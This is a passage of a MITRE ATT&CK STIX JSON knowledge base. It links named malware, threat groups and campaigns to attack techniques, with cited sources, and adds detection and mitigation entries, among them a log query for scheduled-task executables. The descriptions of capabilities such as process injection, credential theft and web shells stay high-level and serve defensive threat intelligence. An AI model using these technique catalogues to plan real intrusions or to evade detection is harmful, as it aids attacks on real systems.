protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--448ea71c-ebfa-4604-bb8e-0c8c997c746a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-28T01:03:26.510Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can open the Windows Firewall on the victim’s machine to allow incoming connections.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44908b0a-993a-4339-b30f-f0f1a64c0753","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:16.024Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--44927ff0-b153-4122-a881-ff078a3e81cd","created":"2022-02-07T18:32:59.166Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has used various Windows API functions on a victim's machine.(Citation: BiZone Lizar May 2021) ","modified":"2022-04-06T15:42:50.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--44930e59-94ae-40ff-bf9e-da00553620af","created":"2020-10-19T23:49:08.641Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Keep system images and software updated and migrate to SNMPv3.(Citation: Cisco Blog Legacy Device Attacks)","modified":"2022-04-19T21:33:37.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44968df5-3af9-4441-a1f3-e91c75893e64","type":"relationship","created":"2019-06-07T18:42:23.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.900Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) has a command to delete a file from the machine.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--449b3473-a6cc-4934-8441-84325f70e126","type":"relationship","created":"2021-04-13T19:29:21.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-19T19:18:47.994Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used RAR to create password-protected archives of collected documents prior to exfiltration.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44a27941-a92a-4dd8-ab62-e30f6d8782e3","created":"2024-07-12T19:13:03.845Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"},{"source_name":"Logpoint Pikabot 2024","description":"Swachchhanda Shrawan Poudel. (2024, February). Pikabot: 
 A Sophisticated and Modular Backdoor Trojan with Advanced Evasion Techniques. Retrieved July 12, 2024.","url":"https://www.logpoint.com/wp-content/uploads/2024/02/logpoint-etpr-pikabot.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T19:13:03.845Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) features several methods to evade debugging by analysts, including checks for active debuggers, the use of breakpoints during execution, and checking various system information items such as system memory and the number of processors.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)(Citation: Logpoint Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44a77efc-9215-4e5a-a246-ac9669dc52a4","created":"2022-10-18T21:47:07.938Z","revoked":false,"external_references":[{"source_name":"Objective-See MacMa Nov 2021","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.","url":"https://objective-see.org/blog/blog_0x69.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:47:07.938Z","description":"[MacMa](https://attack.mitre.org/software/S1016) has stored collected files locally before exfiltration.(Citation: Objective-See MacMa Nov 2021)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44a9703a-b4de-45d6-94c6-18fdd77c8487","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:22:03.648Z","description":"Monitor for newly executed processes that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.\n\nNote: Below is the relevant Events and Sources\nWindows:\n\n- Sysmon Event ID 1: Process creation, particularly for schtasks.exe, at.exe, Taskeng.exe, crontab, etc.\n- Windows Event Log EventCode 4688: Process creation that might involve task scheduling.\n- Windows Task Scheduler Logs: Task creation, modification, or deletion.\n\nLinux/macOS:\n\n- Auditd logs: Monitoring for cron job creation or modifications.\n- Syslog: Logs related to cron jobs or scheduled tasks.\n- File integrity monitoring (FIM): For changes to /etc/cron*, /var/spool/cron/*, or user-specific cron jobs.\n\nContainers:\n- Container logs: Detection of scheduled tasks or cron jobs within container environments.\n\n\nAnalytic 1 - Look for task execution with unusual parameters.\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" OR sourcetype=\"WinEventLog:Security\" OR sourcetype=\"linux_auditd\" OR sourcetype=\"syslog\") \n| where Image IN (\"schtasks.exe\", \"at.exe\", \"Taskeng.exe\", \"cron\", \"crontab\", \"systemd-timers\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44a97cbb-ce03-43ee-959e-c582e64372a2","created":"2022-09-26T17:34:15.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T17:38:56.122Z","description":"The [FunnyDream](https://attack.mitre.org/software/S1044) FilepakMonitor component can inject into the Bka.exe process using the `VirtualAllocEx`, `WriteProcessMemory` and `CreateRemoteThread` APIs to load the DLL component.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44a9f8e6-7b16-4c19-a1ac-df57a67b329a","type":"relationship","created":"2021-06-24T20:07:08.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-06-24T20:07:08.418Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has the ability to search for specific files.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44aab0bc-80d5-4c6b-9acf-ceb9cc30f443","type":"relationship","created":"2020-06-08T18:06:36.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:06:36.276Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify which anti-virus products, firewalls, and anti-spyware products are in use.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44add639-84c1-45e7-a640-bcc3ac2b12e1","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-04-25T12:24:57.470Z","description":"(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44aeb943-8861-4018-a93b-beeb393bfa8f","type":"relationship","created":"2019-06-24T19:07:12.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2019-06-24T19:07:12.496Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) searches for credentials stored from web browsers.(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44b10433-b9b4-46d1-825b-6fe4183dc9c0","type":"relationship","created":"2022-03-25T14:32:35.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.608Z","description":"[Donut](https://attack.mitre.org/software/S0695) can generate encrypted, compressed/encoded, or otherwise obfuscated code modules.(Citation: Donut Github)","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44b2a372-1aee-4a7e-a544-2aacdfe3121a","type":"relationship","created":"2022-03-22T20:09:04.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.378Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can use a variety of API calls to execute shellcode.(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44b56e08-7cd1-442c-8806-c69bb65fd231","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"}],"modified":"2019-12-20T14:33:03.526Z","description":"[ROCKBOOT](https://attack.mitre.org/software/S0112) is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.(Citation: FireEye Bootkits)","relationship_type":"uses","source_ref":"malware--cba78a1c-186f-4112-9e6a-be1839f030f7","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44b96f2b-8597-44b6-b1f2-85f01553ddaf","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44ba0ff1-3858-4b2e-933d-e5dc00b4ca27","created":"2023-03-28T19:21:50.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:31:51.363Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has gained access to a global administrator account in Azure AD and has used `Service Principal` credentials in Exchange.(Citation: Mandiant APT29 Microsoft 365 2022)(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44bbd0e1-acdf-458c-934c-a64e8a7a371c","type":"relationship","created":"2021-03-03T18:57:21.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-03-03T18:57:21.413Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) has used DLL side loading to import and load a malicious DLL loader.(Citation: Trend Micro Waterbear December 2019) ","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44bfcd86-2fa2-4e00-a9af-ab66d4d834cd","created":"2022-10-11T17:23:04.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T17:23:36.097Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), threat actors registered domains for C2.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44c7a649-7715-45a7-8f1a-d6946e7c9295","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for processes being viewed that may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44c91929-3473-443c-91be-5afa81582dfa","created":"2024-10-08T14:46:20.140Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T14:46:20.140Z","description":"Restrict or block web-based content that could be used to extract session cookies or credentials stored in browsers. Use browser security settings, such as disabling third-party cookies and restricting browser extensions, to limit the attack surface.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44caec3d-e8d3-48b6-9991-f5b164370538","created":"2024-03-08T19:42:52.675Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-08T19:42:52.675Z","description":"[LIGHTWIRE](https://attack.mitre.org/software/S1119) can RC4 decrypt and Base64 decode C2 commands.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--5dc9e8ec-9917-4de7-b8ab-16007899dd80","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--44cda13f-01b1-4fd2-8fbc-7de746c00d65","created":"2022-06-13T18:13:43.548Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can delete its configuration file after installation.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-13T18:13:43.548Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44cf5d7e-41dd-4bc4-b747-08d56ba489bb","created":"2024-03-07T21:21:52.640Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T21:21:52.640Z","description":"[LIGHTWIRE](https://attack.mitre.org/software/S1119) is a web shell capable of command execution and establishing persistence on compromised Ivanti Secure Connect VPNs.(Citation: Mandiant Cutting Edge Part 2 January 